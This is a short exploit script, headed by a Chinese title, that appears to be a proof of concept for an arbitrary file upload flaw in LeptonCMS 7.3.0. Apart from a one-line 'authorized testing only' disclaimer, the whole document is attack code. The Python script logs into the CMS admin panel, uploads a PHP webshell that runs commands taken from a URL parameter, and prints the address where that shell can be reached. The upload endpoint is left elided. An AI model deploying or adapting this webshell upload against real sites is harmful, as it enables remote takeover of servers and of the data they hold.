LeptonCMS 7.3.0 任意文件上传漏洞导致远程代码执行

# CVE-2025-56704 PoC - LeptonCMS 7.3.0 Arbitrary File Upload # Author: Security Researcher # Note: For authorized security testing only import requests import sys TARGET_URL = "http://target-website.com/lepton/admin/login/index.php" UPLOAD_URL = "http://target-website.com/lepton/admin/..." # Upload endpoint USERNAME = "attacker_account" PASSWORD = "attacker_password" def login(session): """Authenticate to LeptonCMS admin panel""" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(TARGET_URL, data=login_data) return 'login_success' in response.text or response.status_code == 200 def upload_malicious_file(session): """Upload malicious PHP file to achieve RCE""" # Create malicious PHP webshell php_shell = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', php_shell, 'application/x-php') } response = session.post(UPLOAD_URL, files=files) return response def main(): session = requests.Session() print("[*] Step 1: Authenticating to LeptonCMS...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Step 2: Uploading malicious PHP file...") response = upload_malicious_file(session) if response.status_code == 200: print("[+] File uploaded successfully") print("[*] Step 3: Execute commands via uploaded webshell") shell_url = response.json().get('file_path') print(f"[+] Shell accessible at: {shell_url}?cmd=whoami") else: print("[-] Upload failed") if __name__ == "__main__": main()